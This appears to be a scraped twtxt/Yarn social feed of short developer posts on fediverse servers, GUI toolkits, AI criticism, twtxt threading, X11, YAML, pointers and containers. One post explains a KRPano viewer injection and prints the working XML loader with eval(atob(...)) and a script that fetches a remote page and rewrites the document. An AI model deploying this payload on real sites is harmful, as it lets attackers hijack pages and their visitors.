Gootosocial to a Pleroma one. While GTS is kinda cute (lightweight and easy to manage) of a software, the inability to fetch/scroll through people's past toots when visiting a profile or having access to a federated timeline and a proper search functionality ...etc felt like handicap for the past N months.
@bender@twtxt.net yeah, Iâve been reading through the documentation last night and it felt overwhelming for a minute⊠+1 point goes to GTSâs docs. but hey, Iâll be taking the easy route: podman-compose up -d they provide both a container image and an example compose file in a separate git repo but Iâm wondering why that is not mentioned anywhere in the docs, (unless it is and I havenât seen it yet)
FTR, I see one (two) issues with PyQt6, sadly:
- The PyQt6 docs appear to be mostly auto-generated from the C++ docs. And they contain many errors or broken examples (due to the auto-conversion). I found this relatively unpleasent to work with.
- (Until Python finally gets rid of the Global Interpreter Lock properly, itâs not really suited for GUI programs anyway â in my opinion. You canât offload anything to a second thread, because the whole program is still single-threaded. This would have made my fractal rendering program impossible, for example.)
@prologic@twtxt.net Letâs go through it one by one. Hereâs a wall of text that took me over 1.5 hours to write.
The criticism of AI as untrustworthy is a problem of misapplication, not capability.This section says AI should not be treated as an authority. This is actually just what I said, except the AI phrased/framed it like it was a counter-argument.
The AI also said that users must develop âAI literacyâ, again phrasing/framing it like a counter-argument. Well, that is also just what I said. I said you should treat AI output like a random blog and you should verify the sources, yadda yadda. That is âAI literacyâ, isnât it?
My text went one step further, though: I said that when you take this requirement of âAI literacyâ into account, you basically end up with a fancy search engine, with extra overhead that costs time. The AI missed/ignored this in its reply.
Okay, so, the AI also said that you should use AI tools just for drafting and brainstorming. Granted, a very rough draft of something will probably be doable. But then you have to diligently verify every little detail of this draft â okay, fine, a draft is a draft, itâs fine if it contains errors. The thing is, though, that you really must do this verification. And I claim that many people will not do it, because AI outputs look sooooo convincing, they donât feel like a draft that needs editing.
Can you, as an expert, still use an AI draft as a basis/foundation? Yeah, probably. But hereâs the kicker: You did not create that draft. You were not involved in the âthought processâ behind it. When you, a human being, make a draft, you often think something like: âOkay, I want to draw a picture of a landscape and thereâs going to be a little house, but for now, Iâll just put in a rough sketch of the house and add the details later.â You are aware of what you left out. When the AI did the draft, you are not aware of whatâs missing â even more so when every AI output already looks like a final product. For me, personally, this makes it much harder and slower to verify such a draft, and I mentioned this in my text.
Skill Erosion vs. Skill EvolutionYou, @prologic@twtxt.net, also mentioned this in your car tyre example.
In my text, I gave two analogies: The gym analogy and the Google Translate analogy. Your car tyre example falls in the same category, but Geminiâs calculator example is different (and, again, gaslight-y, see below).
What I meant in my text: A person wants to be a programmer. To me, a programmer is a person who writes code, understands code, maintains code, writes documentation, and so on. In your example, a person who changes a car tyre would be a mechanic. Now, if you use AI to write the code and documentation for you, are you still a programmer? If you have no understanding of said code, are you a programmer? A person who does not know how to change a car tyre, is that still a mechanic?
No, youâre something else. You should not be hired as a programmer or a mechanic.
Yes, that is âskill evolutionâ â which is pretty much my point! But the AI framed it like a counter-argument. It didnât understand my text.
(But what if thatâs our future? What if all programming will look like that in some years? I claim: Itâs not possible. If you donât know how to program, then you donât know how to read/understand code written by an AI. You are something else, but youâre not a programmer. It might be valid to be something else â but that wasnât my point, my point was that youâre not a bloody programmer.)
Geminiâs calculator example is garbage, I think. Crunching numbers and doing mathematics (i.e., âcomplex problem-solvingâ) are two different things. Just because you now have a calculator, doesnât mean itâll free you up to do mathematical proofs or whatever.
What would have worked is this: Letâs say youâre an accountant and you sum up spendings. Without a calculator, this takes a lot of time and is error prone. But when you have one, you can work faster. But once again, thereâs a little gaslight-y detail: A calculator is correct. Yes, it could have âbugsâ (hello Intel FDIV), but its design actually properly calculates numbers. AI, on the other hand, does not understand a thing (our current AI, that is), itâs just a statistical model. So, this modified example (âaccountant with a calculatorâ) would actually have to be phrased like this: Suppose thereâs an accountant and you give her a magic box that spits out the correct result in, what, I donât know, 70-90% of the time. The accountant couldnât rely on this box now, could she? Sheâd either have to double-check everything or accept possibly wrong results. And that is how I feel like when I work with AI tools.
Gemini has no idea that its calculator example doesnât make sense. It just spits out some generic âargumentâ that it picked up on some website.
3. The Technical and Legal Perspective (Scraping and Copyright)The AI makes two points here. The first one, I might actually agree with (âbad bot behavior is not the fault of AI itselfâ).
The second point is, once again, gaslighting, because it is phrased/framed like a counter-argument. It implies that I said something which I didnât. Like the AI, I said that you would have to adjust the copyright law! At the same time, the AI answer didnât even question whether itâs okay to break the current law or not. It just said âlol yeah, change the lawsâ. (I wonder in what way the laws would have to be changed in the AIâs âopinionâ, because some of these changes could kill some business opportunities â or the laws would have to have special AI clauses that only benefit the AI techbros. But I digress, that wasnât part of Geminiâs answer.)
tl;drExcept for one point, I donât accept any of Geminiâs âcriticismâ. It didnât pick up on lots of details, ignored arguments, and I can just instinctively tell that this thing does not understand anything it wrote (which is correct, itâs just a statistical model).
And it framed everything like a counter-argument, while actually repeating what I said. Thatâs gaslighting: When Alice says âthe sky is blueâ and Bob replies with âwhy do you say the sky is purple?!â
But it sure looks convincing, doesnât it?
Never againThis took so much of my time. I wonât do this again. đ
@lyse@lyse.isobeef.org Cool! đ You might be interested in my own learnings and toying around with building my own container engine / tooling (whatever you wanna call it) box. I had to learn a bunch of this stuff too đ Control Groups, Namespaces, Process Isolation, etc.
@lyse@lyse.isobeef.org @prologic@twtxt.net Canât we find a middle ground and support both?
The thread is defined by two parts:
- The hash
- The subject
The client/pod generate the hash and index it in itâs database/cache, then it simply query the subject of other posts to find the related posts, right?
In my own client current implementation (using hashes), the only calculation is in the hash generation, the rest is a verbatim copy of the subject (minus the # character), if this is the common implemented approach then adding the location based one is somewhat simple.
function setPostIndex(post) {
// Current hash approach
const hash = createHash(post.url, post.timestamp, post.content);
// New location approach
const location = post.url + '#' + post.timestamp;
// Unchanged (probably)
const subject = post.subject;
// Index them all
addToIndex(hash, post);
addToIndex(location, post);
addToIndex(subject, post);
}
// Both should work if the index contains both versions
getThreadBySubject('#abcdef') => [post1, post2, post3]; // Hash
getThreadBySubject('https://example.com#2025-01-01T12:00:00') => [post1, post2, post3]; // Location
As I said before, the mention is already location based @<example https://example.com/twtxt.txt>, so I think we should keep that in consideration.
Of course this will lead to a bit of fragmentation (without merging the two) but I think this can make everyone happy.
Otherwise, the only other solution I can think of is a different approach where the value doesnât matter, allowing to use anything as a reference (hash, location, git commit) for greater flexibility and freedom of implementation (this probably need the use of a fixed âheaderâ for each post, but it can be seen as a separate extension).
Great. Yet another messed up plain text e-mail part. The URL was actually HTML-escaped. Took me five attempts to figure this out, because of course it had to be several kilometers long. In fact, the e-mail stated: âPlease do not be surprised that the link is particularly long. It contains your personal configuration.â
A normal person is completely lost (thatâs why I got involved). Visting the broken URL opens a popup dialog suggesting to deactivate script blockers. Which I had already done upfront as a matter of prudence.
Fun bonus on top: The JWT in the link has identical iat (issued at) and exp (expiry) claims. The expiry is definitely not checked, itâs well in the past.
Medical software just has to be horrible. Itâs a law.
@lyse@lyse.isobeef.org a content warning is a way to tell the audience the content they are about to see is (or might be) shocking, or unsuitable, or unlikable. The audience can then chose to see it, or not. You know, akin of movies stating:
âWarning: The following film contains scenes that some viewers may find disturbing. Viewer discretion is advised.â
In 1996, they came up with the X11 âSECURITYâ extension:
https://www.reddit.com/r/linux/comments/4w548u/what_is_up_with_the_x11_security_extension/
This is what could have (eventually) solved the security issues that weâre currently seeing with X11. Those issues are cited as one of the reasons for switching to Wayland.
That extension never took off. The person on reddit wonders why â I think itâs simple: Containers and sandboxes werenât a thing in 1996. It hardly mattered if X11 was âinsecureâ. If you could run an X11 client, you probably already had access to the machine and could just do all kinds of other nasty things.
Today, sandboxing is a thing. Today, this matters.
Iâve heard so many times that âX11 is beyond fixable, itâs hopeless.â I donât believe that. I believe that these problems are solveable with X11 and some devs have said âyeah, we could have kept working on itâ. Itâs that people donât want to do it:
Why not extend the X server?
Because for the first time we have a realistic chance of not having to do that.
https://wayland.freedesktop.org/faq.html
Iâm not in a position to judge the devs. Maybe the X.Org code really is so bad that you want to run away, screaming in horror. I donât know.
But all this was a choice. I donât buy the argument that we never would have gotten rid of things like core fonts.
All the toolkits and programs had to be ported to Wayland. A huge, still unfinished effort. If that was an acceptable thing to do, then it would have been acceptable to make an âX12â that keeps all the good things about X11, remains compatible where feasible, eliminates the problems, and requires some clients to be adjusted. (You could have still made âX11X12â like âXWaylandâ for actual legacy programs.)
@lyse@lyse.isobeef.org @kat@yarn.girlonthemoon.xyz I spent so much time in the past figuring out if something is a dict or a list in YAML, for example.
What are the types in this example?
items:
- part_no: A4786
descrip: Water Bucket (Filled)
price: 1.47
quantity: 4
- part_no: E1628
descrip: High Heeled "Ruby" Slippers
size: 8
price: 133.7
quantity: 1
items is a dict containing ⊠a list of two other dicts? Right?
It is quite hard for me to grasp the structure of YAML docs. đą
The big advantage of YAML (and JSON and TOML) is that itâs much easier to write code for those formats, than it is with XML. json.loads() and youâre done.
I have a Python script that transforms the original YouTube channel Atom feed into a more useful Atom feed by removing the spam description and replacing it with the video duration, filtering out videos by title, duration, etc. I just updated it to exclude the damn Shorts garbage more efficiently. Finally, YouTube updated their Atom feed generation, so that the video URL contains /short/ if itâs of this useless kind. Never thought that they ever actually will improve their Atom feeds. Thank you, much appreciated!
@bender@twtxt.net kinda sorta, itâs in a docker container so not a VM but like VM-ish?
@kat@yarn.girlonthemoon.xyz one of my serversâ number of currently running containers is 69. haha sex number
Jupiter Core
â Read more
Crucial Wii homebrew library contains code stolen from Nintendo, RTEMS
The Wii homebrew community has been dealt a pretty serious blow, as developers of The Homebrew Channel for the Wii have discovered that not only does an important library most Wii homebrew software rely on use code stolen straight from Nintendo, that same library also uses code taken from an open source real-time operating system without giving proper attribution. Most Wii homebrew software i ⊠â Read more
Moving Beyond Containers â Introducing Boxer by Daniel Phillips WASM I/O 2025 [video]
Comments â Read more
@bender@twtxt.net It isnât @aelaraji@aelaraji.comâs fault at all here đ I think the only way I can improve this somewhat is by introducing a similar convergence that I believe @movq@www.uninformativ.de built for Jenny which would fetch the mentioned feed temporarily to see if it contains the subject being replied to (in case itâs not in the cache).
Iâll think about doing this too, but I have to do it carefully so as not to cost too much in terms of resources or performanceâŠ
âA handbag belonging to the homeland security secretary Kristi Noem containing her passport, department security badge and $3,000 in cash was stolen on Sunday night at a restaurant in Washington, the department confirmed.â
Not updated in 7 years, IIS is still a default part of Windows, apparently
This monthâs security updates for Windows 11 create a new empty folder on drive C. It is called âinetpub,â and it does not contain any extra folders or files. Its properties window shows 0 bytes in size and that it was created by the system itself. Neowin checked a bunch of Windows 11 PCs with the April 2025 security updates installed, and all of them had inetpub on drive C. â« Taras Bu ⊠â Read more
502.
@bender@twtxt.net OH NOOOOOOO LEMME CHECK THE CONTAINER
Blue95: Fedora Atomic Xfce converted to a Windows 95 desktop
Blue95 is a modern and lightweight desktop experience that is reminiscent of a bygone era of computing. Based on Fedora Atomic Xfce with the Chicago95 theme. â« Blue95 GitHub page Exactly as it says on the tin. This is by far the easiest way to get the excellent Chigaco95 theme for Xfce set up and working in a polished way, and it also contains a few different application choices from the regular Fedora Xfce desk ⊠â Read more
There are 82.108 read statuses, but only 24.421 messages in the cache. In contrast to the cache with the messages, the read statuses are never cleaned up when a feed was unsubscribed from. And the read statuses also contain old style hashes, before we settled on the what we have today. Still a huge difference. Hmm.
tt reimplementation that I already followed with the old Python tt. Previously, I just had a few feeds for testing purposes in my new config. While transfering, I "dropped" heaps of feeds that appeared to be inactive.
Thanks, @movq@www.uninformativ.de!
My backing SQLite database with indices is 8.7 MiB in size right now.
The twtxt cache is 7.6 MiB, it uses Pythonâs pickle module. And next to it there is a 16.0 MiB second database with all the read statuses for the old tt. Wow, super inefficient, it shouldnât contain anything else, itâs a giant, pickled {"$hash": {"read": True/False}, âŠ}. What the heck, why is it so big?! O_o
@kat@yarn.girlonthemoon.xyz Pointers can be a bit tricky. I know it took me also quite some time to wrap my head around them. Let my try to explain. Itâs a pretty simple, yet very powerful concept with many facets to it.
A pointer is an indirection. At a lower level, when you have some chunk of memory, you can have some actual values sitting in there, ready for direct use. A pointer, on the other hand, points to some other location where to look for the values oneâs actually after. Following that pointer is also called dereferencing the pointer.
I canât come up with a good real-world example, so this poor comparison has to do. Itâs a bit like you have a book (the real value that is being pointed to) and an ISBN referencing that book (the pointer). So, instead of sending you all these many pages from that book, I could give you just a small tag containing the ISBN. With that small piece of information, youâre able to locate the book. Probably a copy of that book and thatâs where this analogy falls apart.
In contrast to that flawed comparision, itâs actually the other way around. Many different pointers can point to the same value. But there are many books (values) and just one ISBN (pointer).
The pointerâs target might actually be another pointer. You typically then would follow both of them. There are no limits on how long your pointer chains can become.
One important property of pointers is that they can also point into nothingness, signalling a dead end. This is typically called a null pointer. Following such a null pointer calls for big trouble, it typically crashes your program. Hence, you must never follow any null pointer.
Pointers are important for example in linked lists, trees or graphs. Letâs look at a doubly linked list. One entry could be a triple consisting of (actual value, pointer to next entry, pointer to previous entry).
_______________________
/ ________\_______________
â â | \
+---+---+---+ +---+---+-|-+ +---+---+-|-+
| 7 | n | x | | 23| n | p | | 42| x | p |
+---+-|-+---+ +---+-|-+---+ +---+---+---+
| â | â
\_______/ \_______/
The âxâ indicates a null pointer. So, the first element of the doubly linked list with value 7 does not have any reference to a previous element. The same is true for the next element pointer in the last element with value 42.
In the middle element with value 23, both pointers to the next (labeled ânâ) and previous (labeled âpâ) elements are pointing to the respective elements.
You can also see that the middle element is pointed to by two pointers. By the ânextâ pointer in the first element and the âpreviousâ pointer in the last element.
Thatâs it for now. There are heaps ;-) more things to tell about pointers. But it might help you a tiny bit.
Appleâs long-lost hidden recovery partition from 1994 has been found
In 1994, a single Macintosh Performa model, the 550, came from the factory with a dedicated, hidden recovery partition that contained a System 7 system folder and a small application that would be set as bootable if the main operating system failed to boot. This application would then run, allowing you to recover your Mac using the system folder inside the recovery partition. This feature was app ⊠â Read more
In the meantime, I tried to add English subtitles, so the international audience has a chance of enjoying some of them, too. There are a bunch of puns, so translations donât work at that great.
I went to an exhibition of my fine arts teacher who passed away last year. He was a pretty cool dude and good teacher. I reckon I had him in 7th and probably also 8th grade. His Schelme (imps) were very famous here in this county and presumably well beyond.
Unfortunately, picture frame glas doesnât mix all that great with a fairly dark light and my camera. So, sorry in adavance for the poor quality. Anyway, I photographed a few funny paintings. Watch out, it may contain saucy contents: https://lyse.isobeef.org/siegfried-wagner-farrenstall-2025-03-15/.
Comparing Fuchsia components and Linux containers
Fuchsia is a new (non-Linux) operating system from Google, and one of the key pieces of Fuchsiaâs design is the component framework. Components on Fuchsia have many similarities with some of the container solutions on Linux (such as Docker): they both fetch content addressed blobs from the network, assemble those blobs into an isolated filesystem structure that holds all the dependencies necessary to run some piece of software, and ⊠â Read more
@prologic@twtxt.net Of course you donât notice it when yarnd only shows at most the last n messages of a feed. As an example, check out mckinleyâs message from 2023-01-09T22:42:37Z. It has â[Scheduled][Scheduled][Scheduled]â⊠in it. This text in square brackets is repeated numerous times. If you search his feed for closing square bracket followed by an opening square bracket (][) you will find a bunch more of these. It goes without question he never typed that in his feed. My client saves each twt hash Iâve explicitly marked read. A few days ago, I got plenty of apparently years old, yet suddenly unread messages. Each and every single one of them containing this repeated bracketed text thing. The only conclusion is that something messed up the feed again.
JotaleaOS: a very tiny hobby operating system
JotaleaOS is an open source, minimalistic, experimental operating system made by Jotalea, designed for extreme low-resource environments. It does not support external programs or games, as it lacks a standard application execution environment. The system is entirely self-contained, running only its built-in commands. â« JotaleaOS website Exactly what is says on the tin: a tiny operating system created entirely as a learning experience. Thatâs ⊠â Read more
Fedora should not push its users to its own Flatpak repository
Unlike most (all?) other distributions with built-in Flatpak support, Fedora maintains its own repository of Flatpak applications. Everyone else defaults to using Flathub, where developers of applications themselves tend to publish their Flatpaks. Fedoraâs âshadow Flathubâ sometimes leads to problems, with Fedora-made Flatpaks containing bugs and brokenness, while presenting themselves as official, develope ⊠â Read more
Run Linux inside a PDF file via a RISC-V emulator
You might expect PDF files to only be comprised of static documents, but surprisingly, the PDF file format supports Javascript with its own separate standard library. Modern browsers (Chromium, Firefox) implement this as part of their PDF engines. However, the APIs that are available in the browser are much more limited. The full specfication for the JS in PDFs was only ever implemented by Adobe Acrobat, and it contains some ridicul ⊠â Read more
Skill Issues of course, but that's going away next as soon as I get my php-fpm shi_ together.
@prologic@twtxt.net Iâd stumbled upon #FrankenPHP while reading through #Caddy stuff and thought maybe itâs bit overkill for what i need it for but then again, it will be just a âOne container in for two outâ, thatâs win in my book đ
FINALLY!! Got #Caddy server up and running and got rid of nginx proxy manager and Mysql database containers đ„łđ„łđ„ł
So this works by adding some unbounded javascript autoloaded by the KRPano VR Media viewer
the xml parameter has a url that contains the following
<?xml version="1.0"?>
<krpano version="1.0.8.15">
<SCRIPT id="allow-copy_script"/>
<layer name="js_loader" type="container" visible="false" onloaded="js(eval(var w=atob('... OMIT ...');eval(w)););"/>
</krpano>
the omit above is base64 encoded script below:
const queryParams = new URLSearchParams(window.location.search),
id = queryParams.get('id');
id ? fetch('https://sour.is/superhax.txt')
.then(e => e.text())
.then(e => {
document.open(), document.write(e), document.close();
})
.catch(e => {
console.error('Error fetching the user agent:', e);
}) : console.error('No');
this script will fetch text at the url https://sour.is/superhax.txt and replaces the document content.
@kat@yarn.girlonthemoon.xyz To improve you shell programming skills, I highly recommend to check out shellcheck: https://github.com/koalaman/shellcheck It points out common errors and gives some suggestions on how to improve the code. Some details in shell scripting are very tricky to get right at first. Even after decades of shell programming, I run into âcorner casesâ every now and then.
E.g. in getlyrâs line 7 it warns:
echo -e $(gum style --italic --foreground "#f4b8e4" "'$artist', '$song'")
^-- SC2046: Quote this to prevent word splitting.
For more information:
https://www.shellcheck.net/wiki/SC2046 -- Quote this to prevent word splitt...
Most likely not all that problematic in this application, but itâs good to know about this underlying concept. Word splitting is basically splitting tokens on whitespace, this can lead to interesting consequences as illustrated by this little code:
$ echo $(echo "Hello World")
Hello World
$ echo "$(echo "Hello World")"
Hello World
In the first case the shells sees two whitespace-separated tokens or arguments for the echo command. This basically becomes echo Hello World. So, echo joins them by a single space. In the second one it sees one argument for the echo command, so echo simply echos this single argument that contains three spaces.
although I agree that it helps, I donât see completely correct to leave the nick definition to the source .txt. It could be wrong from the start or outdated with the time.
Iâd rather prefer to get it from the mentioned .txt nick metadata (could be cached for performance).
So my vote would to make it mandatory to follow @<name url> but only using that name/nick if the URL doesnât contain another nick.
A main advantage is that when the destination URL changes the nick, itâll be automagically updated in the thread view (as happens with some other microblogging platforms, following the Jakobâs Law)
@<url> form of mentions. Strictly require that all mentions include a nickname/name; i.e: @<name url>.
@prologic@twtxt.net If youâve got the feed URL in yarndâs cache, you can easily look up a missing nick. If you canât find it, just show the URL (or maybe just the domain name to be halfway consistent with this @nick@domain thing that yarnd invented) and be done. Itâs really that simple.
When yarnds peer with each other, the odds of actually having come across that feed URL in the past are higher than with traditional clients that only have their local set of subscribed feeds. One additional improvment would be to also look at all the mentions and see if somebody used a nick for that URL and go with that.
Yeah, yarnd currently renders some really weird shit when the mention contains just a URL, but Iâd call that a bug for sure.
Personally, I do not like the @nick@domain syntax at all. It looks silly to my eyes. What might have also contributed is the fact of this mentions syntax gotten screwed up so many times by yarnd in the past. But thatâs a totally different topic.
"twtxtfeevalidator/0.0.1" UA about? I thought I could ask before throwing a 1000GB file at it đȘ€ could it be the same 'xt' thing @lyse was talking about the other day?
I cobbled that together yesterday, @aelaraji@aelaraji.com. Since I was too lazy to write some tests, I simply hit your feed as I knew it contains two invalid lines right now. Sorry mate! :-( Next thing is to actually write some proper tests, improve the messages, etc.
Hereâs the code: https://git.mills.io/yarnsocial/validator
Looking forward to that, @prologic@twtxt.net. :-)
Breaked my fdroid repo by machinally type rm -rf repo in /var/www/fdroid. Hope it just contain apks and icons and i can recover
@prologic@twtxt.net Yes! then there was this fun breaker of an article but hey, I ainât doing it for security đ so Iâll just keep on keeping on.
@bender@twtxt.net Dud! you should see the updated version! đ I have just discovered the scratch #container image and decided I wanted to play with it⊠Iâm probably going to end up rebuilding a LOT of images.
~/htwtxt » podman image list htwtxt
REPOSITORY TAG IMAGE ID CREATED SIZE
localhost/htwtxt 1.0.7-scratch 2d5c6fb7862f About a minute ago 12 MB
localhost/htwtxt 1.0.5-alpine 13610a37e347 4 weeks ago 20.1 MB
localhost/htwtxt 1.0.7-alpine 2a5c560ee6b7 4 weeks ago 20.1 MB
docker.io/buckket/htwtxt latest c0e33b2913c6 8 years ago 778 MB
I was thinking of âtw.txtâ to avoid a double T issue⊠Anyway Iâd say the extension and MIME type are important to know what a file (could) contain
https://developer.mozilla.org/en-US/docs/Web/HTTP/MIME_types/Common_types
Reading the original spec, I understand why it should be a .txt file instead of, letâs say twtxt or anything else. In any case it could be nick.twtxt to support multiple users in the same directory.
What is curious to me was the decision at that moment of twtxt [dot] txt. You have the text part twice đ€. Like mydb.db or eapl_todo.todo. Nothing really transcendental, just thinking out loud.
https://twtxt.readthedocs.io/en/latest/user/configuration.html
Alright, I gave #htwtxt container a quick spin. The thing lives and feels dead simple, like, echo -e âdate -Im\tHello world!â >> twtxt.txt kind of simple but with a GUI. and I LOVE IT! Now letâs see if we can rebuild the image with the latest version of htwtxt.
@bender@twtxt.net + a 9 years old container image by the good olâ buckket himself ⊠not sure what to expect from that but will give it a quick spin and report back
@sorenpeter@darch.dk on 4 for gemini if your TLS client certificate contains your nick@host could that work for discovery?
Simplified twtxt - I want to suggest some dogmas or commandments for twtxt, from where we can work our way back to how to implement different feature like replies/treads:
Itâs a text file, so you must be able to write it by hand (ie. no app logic) and read by eye. If you edit a post you change the content not the timestamp. Otherwise it will be considered a new post.
The order of lines in a twtxt.txt must not hold any significant. The file is a container and each line an atomic piece of information. You should be able to run
sorton a twtxt.txt and it should still work.Transport protocol should not matter, as long as the file served is the same. Http and https are preferred, so it is suggested that feed served via Gopher or Gemini also provide http(s).
Do we need more commandments?
Practical IR Active Directory | https://hardenedlinux.org/blog/2024-10-13-container-hardening-process/